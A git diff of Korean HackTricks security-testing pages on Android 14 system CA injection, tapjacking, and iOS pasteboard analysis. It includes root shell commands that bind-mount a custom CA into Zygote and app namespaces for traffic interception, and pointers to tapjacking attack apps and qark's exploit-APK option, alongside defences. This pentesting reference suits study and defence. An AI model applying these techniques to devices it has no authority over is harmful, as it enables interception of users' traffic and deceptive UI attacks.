2. **시스템에서 신뢰할 수 있게 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 이를 폰에 **드래그 앤 드롭**한 후, 폰의 Magics 앱으로 이동하여 `모듈` 섹션으로 이동하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**합니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인하십시오
|
||||
* 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Android 14 이후
|
||||
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA 인증서의 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치하여 루트 권한을 가진 사용자가 액세스하고 수정할 수 있어 시스템 전반에 즉시 적용되었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 **`/apex`** 경로 내의 디렉토리로서 기본적으로 변경할 수 없습니다.
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA(인증 기관) 인증서 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치하여 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 즉시 시스템 전체에 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 **`/apex`** 경로 내의 디렉토리로서 기본적으로 변경할 수 없습니다.
|
||||
|
||||
**APEX cacerts 경로**를 쓰기 가능하게 다시 마운트하려는 시도는 실패로 끝나며 시스템이 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템 (tmpfs)으로 언마운트하거나 오버레이하더라도 불변성을 우회할 수 없으며, 애플리케이션은 파일 시스템 수준의 변경과 관계없이 원래의 인증서 데이터에 계속 액세스합니다. 이러한 탄력성은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생합니다. 이는 **`/apex`** 디렉토리 내의 수정 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
**APEX cacerts 경로**를 쓰기 가능한 상태로 다시 마운트하려는 시도는 실패로 끝나며, 시스템은 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템(tmpfs)으로 언마운트하거나 오버레이하더라도 불변성을 우회할 수 없으며, 응용 프로그램은 파일 시스템 수준의 변경과 관계없이 원래의 인증서 데이터에 계속 액세스합니다. 이러한 강건함은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생합니다. 이는 **`/apex`** 디렉토리 내의 수정 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
|
||||
Android의 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 사용하여 애플리케이션 프로세스를 시작하는데, 이는 개인 **`/apex`** 마운트를 포함하여 이 디렉토리의 변경 사항을 다른 프로세스로부터 격리시킵니다.
|
||||
Android의 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 사용하여 응용 프로그램 프로세스를 시작하는데, 이는 다른 프로세스로부터 이 디렉토리의 변경 사항을 격리시킵니다.
|
||||
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결책이 있습니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하고, 그런 다음 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 다시 시작하는 것이 좋으며, 이는 모든 애플리케이션을 다시 시작하고 시스템을 일관된 상태로 가져옵니다.
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결책이 존재합니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하여 읽기 전용 제약을 제거한 후, 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항을 시스템 전반에 적용하려면 `system_server`를 다시 시작하는 것이 좋으며, 이는 모든 응용 프로그램을 다시 시작하고 시스템을 일관된 상태로 가져옵니다.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -141,18 +145,36 @@ echo "System certificate injected"
|
|||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **CA 인증서 준비**: 쓰기 가능한 디렉토리 설정 후, 사용할 CA 인증서를 이 디렉토리로 복사해야 합니다. 이는 `/apex/com.android.conscrypt/cacerts/`에서 기본 인증서를 복사하는 것을 포함할 수 있습니다. 이 인증서들의 권한과 SELinux 레이블을 적절히 조정하는 것이 중요합니다.
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스에 진입합니다. 안드로이드 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 필요로 하며, 앞으로 시작되는 모든 애플리케이션이 새로 구성된 CA 인증서를 사용하도록 보장합니다. 사용되는 명령어는 다음과 같습니다:
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스에 진입합니다. Android 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 거쳐야 새로 구성된 CA 인증서를 사용하는 이후에 시작되는 모든 애플리케이션에 적용됩니다. 사용되는 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
이렇게 하면 새로 시작된 모든 앱이 업데이트된 CA 인증서 설정을 준수하게 됩니다.
|
||||
이렇게하면 시작된 모든 새 앱이 업데이트된 CA 인증서 설정을 준수합니다.
|
||||
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 앱에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행해야 합니다. 필요한 명령어는 다음과 같습니다:
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 앱에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행합니다. 필요한 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **대체 접근 방식 - 소프트 리부팅**: 대체 방법은 `init` 프로세스 (PID 1)에서 bind 마운트를 수행한 다음 `stop && start` 명령으로 운영 체제를 소프트 리부팅하는 것입니다. 이 방법은 모든 네임스페이스에 변경 사항을 전파하여 각 실행 중인 앱을 개별적으로 처리할 필요가 없게 합니다. 그러나 이 방법은 재부팅의 불편함 때문에 일반적으로 선호되지 않습니다.
|
||||
5. **대체 접근 방식 - 소프트 리부팅**: 대체 방법은 `init` 프로세스 (PID 1)에서 bind 마운트를 수행한 다음 `stop && start` 명령으로 운영 체제를 소프트 리부팅하는 것을 포함합니다. 이 방법은 모든 네임스페이스에 변경 사항을 전파하여 각 실행 중인 앱을 개별적으로 처리할 필요가 없게 합니다. 그러나 이 방법은 재부팅의 불편함 때문에 일반적으로 선호되지 않습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로부터 영웅이 되는 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,45 @@
|
|||
# Tapjacking
|
||||
# 탭재킹
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Tapjacking**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치**하여 실행되는 공격입니다. 피해 앱을 가려 사용자 인터페이스를 속이는 방식으로 사용자가 상호작용하도록 속이면서 실제로는 피해 앱에서 작업을 수행하게 만듭니다.\
|
||||
사용자는 **피해 앱에서 작업을 수행하고 있다는 사실을 알지 못하게 됩니다**.
|
||||
**탭재킹**은 **악성 애플리케이션이 희생자 애플리케이션 위에 위치하도록 하여** 시작되는 공격입니다. 희생자 앱이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이도록 설계되어 있으며, 사용자가 상호 작용하도록 유도하면서 해당 상호 작용을 희생자 앱으로 전달합니다.\
|
||||
사실 사용자가 희생자 앱에서 작업을 수행하고 있다는 것을 알 수 없게 만듭니다.
|
||||
|
||||
### 탐지
|
||||
|
||||
이 공격에 취약한 앱을 탐지하기 위해 안드로이드 매니페스트에서 **내보낸 액티비티**를 검색해야 합니다 (인텐트 필터가 있는 액티비티는 기본적으로 자동으로 내보내집니다). 내보낸 액티비티를 찾은 후 **해당 액티비티가 어떤 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션도 해당 권한이 필요하기 때문**입니다.
|
||||
이 공격에 취약한 앱을 탐지하려면 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다(인텐트 필터가 있는 활동은 기본적으로 내보냅니다). 내보낸 활동을 찾은 후 **해당 활동이 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션이 해당 권한이 필요**하기 때문입니다.
|
||||
|
||||
### 보호
|
||||
|
||||
#### Android 12 (API 31,32) 이상
|
||||
#### 안드로이드 12 (API 31,32) 이상
|
||||
|
||||
[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12 (API 31 및 30) 이상에서는 tapjacking 공격이 자동으로 방지됩니다. 따라서 취약한 애플리케이션도 **해당 취약점을 악용할 수 없습니다**.
|
||||
[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/), 안드로이드 12(API 31 및 30) 이상에서는 안드로이드가 탭재킹 공격을 자동으로 방지합니다. 따라서 취약한 애플리케이션이 있더라도 **해당 취약점을 악용할 수 없습니다**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`는 다른 가시 창에 의해 가려질 때 터치를 받지 않습니다.
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되어 있으면, `View`는 다른 가시 창에 의해 가려질 때 터치를 받지 않습니다.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Android 버전이 낮은 경우, **`setFilterTouchesWhenObscured`** 속성을 true로 설정하면 이 취약점의 악용을 방지할 수도 있습니다.\
|
||||
`setFilterTouchesWhenObscured` 속성이 **`true`**로 설정되어 있으면 안드로이드 버전이 낮을 경우에도 이 취약점을 방지할 수 있습니다.\
|
||||
예를 들어, 버튼이 가려지면 자동으로 **비활성화**될 수 있습니다.
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
|
@ -49,38 +53,28 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
가장 최근의 안드로이드 애플리케이션인 Tapjacking 공격을 수행하는 애플리케이션은 [https://github.com/carlospolop/Tapjacking-ExportedActivity](https://github.com/carlospolop/Tapjacking-ExportedActivity)에서 찾을 수 있습니다.
|
||||
가장 최근의 안드로이드 애플리케이션에서 Tapjacking 공격을 수행하는 방법은 공격 대상 애플리케이션의 내보낸 활동 앞에서 호출하는 것입니다. 해당 방법은 [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)에서 찾을 수 있습니다.
|
||||
|
||||
사용 방법은 README 지침을 따르십시오.
|
||||
사용 방법은 **README 지침을 따르세요**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
클릭재킹 공격을 수행하기 위해 다른 활동 위에 놓을 수 있는 FloatingWindowApp을 구현한 예제 프로젝트는 [FloatingWindowApp](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (약간 오래되었으니 apk를 빌드하는 데 행운을 빕니다).
|
||||
다른 활동 위에 놓여 클릭잭킹 공격을 수행하기 위해 사용할 수 있는 FloatingWindowApp을 구현한 예제 프로젝트는 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (약간 오래되었으며 apk를 빌드하는 데 행운을 빕니다).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 프로젝트는 더 이상 유지되지 않고 이 기능이 제대로 작동하지 않는 것 같습니다.
|
||||
이 프로젝트는 더 이상 유지되지 않고 이 기능이 제대로 작동하지 않는 것으로 보입니다.
|
||||
{% endhint %}
|
||||
|
||||
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수를 사용하여 악성 애플리케이션을 생성하여 가능한 Tapjacking 취약점을 테스트하기 위해 [qark](https://github.com/linkedin/qark)를 사용할 수 있습니다.
|
||||
가능한 **Tapjacking** 취약점을 테스트하기 위해 악의적인 애플리케이션을 생성하는 데 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수와 함께 [**qark**](https://github.com/linkedin/qark)를 사용할 수 있습니다.
|
||||
|
||||
개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 받지 않도록 선택할 수 있으므로 완화 방법은 비교적 간단합니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용하십시오.
|
||||
해결책은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 받지 않도록 선택할 수 있습니다. [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)를 사용하세요:
|
||||
|
||||
> 사용자의 전체 동의와 함께 작업이 수행되고 있는지 확인해야 하는 경우(권한 요청, 구매 또는 광고 클릭 등)에는 의도한 뷰의 목적을 숨기는 악성 애플리케이션이 사용자를 속일 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 액세스하는 뷰의 보안을 향상시킬 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
> 때로는 사용자의 전체 동의와 인지를 통해 작업이 수행되고 있는지를 애플리케이션이 확인할 수 있어야 하는 경우가 있습니다. 예를 들어 권한 요청을 승인하거나 구매를 하거나 광고를 클릭하는 경우입니다. 불행히도 악성 애플리케이션이 의도된 뷰의 목적을 숨겨 사용자를 속여 이러한 작업을 수행하려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 액세스하는 뷰의 보안을 개선할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
>
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정하십시오. 활성화되면 프레임워크는 뷰의 창이 다른 가시적인 창에 의해 가려질 때마다 수신된 터치를 폐기합니다. 결과적으로 뷰는 토스트, 대화 상자 또는 다른 창이 뷰의 창 위에 나타날 때마다 터치를 받지 않습니다.
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)을 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정하세요. 활성화되면 프레임워크는 뷰의 창이 다른 가시적 창에 의해 가려질 때 수신된 터치를 버립니다. 결과적으로 뷰는 토스트, 대화 상자 또는 다른 창이 뷰의 창 위에 나타날 때 터치를 받지 않습니다.
|
||||
|
||||
<details>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -1,35 +1,40 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
iOS 기기에서 애플리케이션 간 및 애플리케이션 내에서 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘을 통해 이루어집니다. 이 메커니즘은 다음 두 가지 주요 범주로 나뉩니다:
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **시스템 전역 붙여넣기 보드**: 이는 **모든 애플리케이션**과 데이터를 공유하기 위해 사용되며, iOS 10부터 제공되는 장치 재시작 및 앱 제거 후에도 데이터를 유지할 수 있는 기능을 제공합니다.
|
||||
- **사용자 정의 / 이름 지정 붙여넣기 보드**: 이는 **앱 내 또는 동일한 팀 ID를 공유하는 다른 앱과의 데이터 공유**를 위해 특별히 설계되었으며, iOS 10에서 도입된 변경 사항에 따라 생성한 애플리케이션 프로세스의 수명을 넘어서 유지되지 않습니다.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**보안 고려 사항**은 붙여넣기 보드를 사용할 때 중요한 역할을 합니다. 예를 들어:
|
||||
- 사용자가 **붙여넣기 보드에 대한 앱 권한을 관리할 수 있는 메커니즘**이 없습니다.
|
||||
- 붙여넣기 보드의 **배경 모니터링을 무단으로 방지**하기 위해 액세스는 애플리케이션이 포그라운드에 있을 때로 제한됩니다 (iOS 9부터).
|
||||
- 개인 정보 보호 문제로 인해 **지속적인 이름 지정 붙여넣기 보드의 사용은 권장되지 않습니다**.
|
||||
- iOS 10에서 도입된 **Universal Clipboard** 기능을 통해 일반 붙여넣기 보드를 통해 장치 간에 콘텐츠를 공유할 수 있으며, 개발자는 데이터 만료 및 자동 콘텐츠 전송 비활성화를 설정할 수 있습니다.
|
||||
|
||||
**민감한 정보가 실수로 저장되지 않도록**하는 것이 중요합니다. 또한 애플리케이션은 의도하지 않은 작업을 위해 전역 붙여넣기 보드 데이터의 오용을 방지하기 위해 설계되어야 하며, 개발자는 민감한 정보를 클립보드에 복사하는 것을 방지하기 위한 조치를 구현하는 것이 좋습니다.
|
||||
iOS 기기에서 애플리케이션 간 및 내에서 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘을 통해 이루어지며, 이는 다음 두 가지 주요 범주로 나뉩니다:
|
||||
|
||||
- **시스템 전역 클립보드**: 이는 **모든 애플리케이션**과 데이터를 공유하기 위해 사용되며, iOS 10부터 제공되는 기능으로 데이터를 장치 재부팅 및 앱 삭제를 통해 유지할 수 있도록 설계되었습니다.
|
||||
- **사용자 정의 / 이름 지정된 클립보드**: 이는 **앱 내 또는 동일한 팀 ID를 공유하는 다른 앱과 데이터를 공유**하기 위해 특별히 설계되었으며, iOS 10에서 소개된 변경 사항에 따라 생성한 애플리케이션 프로세스의 수명을 넘어서 지속되지 않도록 설계되었습니다.
|
||||
|
||||
**보안 고려 사항**은 클립보드를 활용할 때 중요한 역할을 합니다. 예를 들어:
|
||||
- 사용자가 **클립보드에 액세스하는 앱 권한을 관리할 수 있는 메커니즘이 없습니다**.
|
||||
- 클립보드의 무단 백그라운드 모니터링 위험을 완화하기 위해 애플리케이션이 포그라운드에 있을 때만 액세스가 제한됩니다(iOS 9부터).
|
||||
- 개인 정보 보호 문제로 인해 지속적인 이름이 지정된 클립보드 사용이 권장되지 않습니다.
|
||||
- iOS 10에서 소개된 **Universal Clipboard** 기능은 일반 클립보드를 통해 장치 간에 콘텐츠를 공유할 수 있도록 하며, 개발자가 데이터 만료 및 자동 콘텐츠 전송 비활성화를 설정할 수 있습니다.
|
||||
|
||||
**민감한 정보가 실수로 저장되지 않도록**하는 것이 중요합니다. 또한 애플리케이션은 글로벌 클립보드에 민감한 정보를 복사하는 것을 방지하기 위한 조치를 구현해야 하며, 개발자는 클립보드로 민감한 정보를 복사하는 것을 방지하기 위한 조치를 취할 것을 권장합니다.
|
||||
|
||||
### 정적 분석
|
||||
|
||||
정적 분석을 위해 소스 코드 또는 이진 파일에서 다음을 검색하세요:
|
||||
- **systemwide general pasteboard**의 사용을 식별하기 위해 `generalPasteboard`를 검색합니다.
|
||||
- **사용자 정의 붙여넣기 보드**를 생성하기 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 검색합니다. 그러나 이는 폐기된 기능입니다.
|
||||
- 시스템 전역 클립보드 사용을 식별하기 위해 `generalPasteboard`를 검색합니다.
|
||||
- **사용자 정의 클립보드**를 생성하기 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 검색합니다. 지속성이 활성화되어 있는지 확인하세요(이는 더 이상 사용되지 않음).
|
||||
|
||||
### 동적 분석
|
||||
|
||||
|
@ -39,13 +44,13 @@ iOS 기기에서 애플리케이션 간 및 애플리케이션 내에서 데이
|
|||
- 지속성 설정을 확인하기 위해 폐기된 `setPersistent:` 메서드 호출을 관찰합니다.
|
||||
|
||||
모니터링해야 할 주요 세부 정보는 다음과 같습니다:
|
||||
- **붙여넣기 보드 이름** 및 **콘텐츠** (예: 문자열, URL, 이미지 확인).
|
||||
- 존재하는 **항목 수** 및 **데이터 유형**, 표준 및 사용자 정의 데이터 유형 확인을 활용합니다.
|
||||
- **클립보드 이름** 및 **콘텐츠**(예: 문자열, URL, 이미지 확인).
|
||||
